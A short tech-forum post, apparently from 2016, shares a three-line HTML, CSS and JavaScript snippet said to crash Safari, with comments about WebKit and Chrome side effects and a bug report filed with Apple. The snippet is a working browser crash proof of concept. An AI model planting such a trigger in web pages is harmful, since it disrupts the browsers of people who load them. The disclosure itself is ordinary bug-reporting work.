News for hackers. Stuff that matters.

Three lines to crash Safari for good

<style> [class^="randomstring"] { background: white; } </style> <div class="" id="test"></div> <script> document.getElementById("test").attributes.class.value = null; </script>

This should get fixed...

( 4 comments | 8 points | on HN )
Re:Three lines to crash Safari for good by blackrose on Saturday January 16, 2016 @02:34PM (#10916474)
It does some funny things in WebKit for sure. Messes up other JS in Chrome too: https://html.house/edit/ecf7pczv.html
Re:Three lines to crash Safari for good by ahazred8ta on Saturday January 16, 2016 @07:08PM (#10917503)
Re:Three lines to crash Safari for good by oliverfriedmann on Saturday January 16, 2016 @02:39PM (#10916493)
Submitted a bug report to Apple / Safari.
Re:Three lines to crash Safari for good by j_mcnally on Monday January 18, 2016 @05:39PM (#10927536)
is this fixed? Doesn't crash me.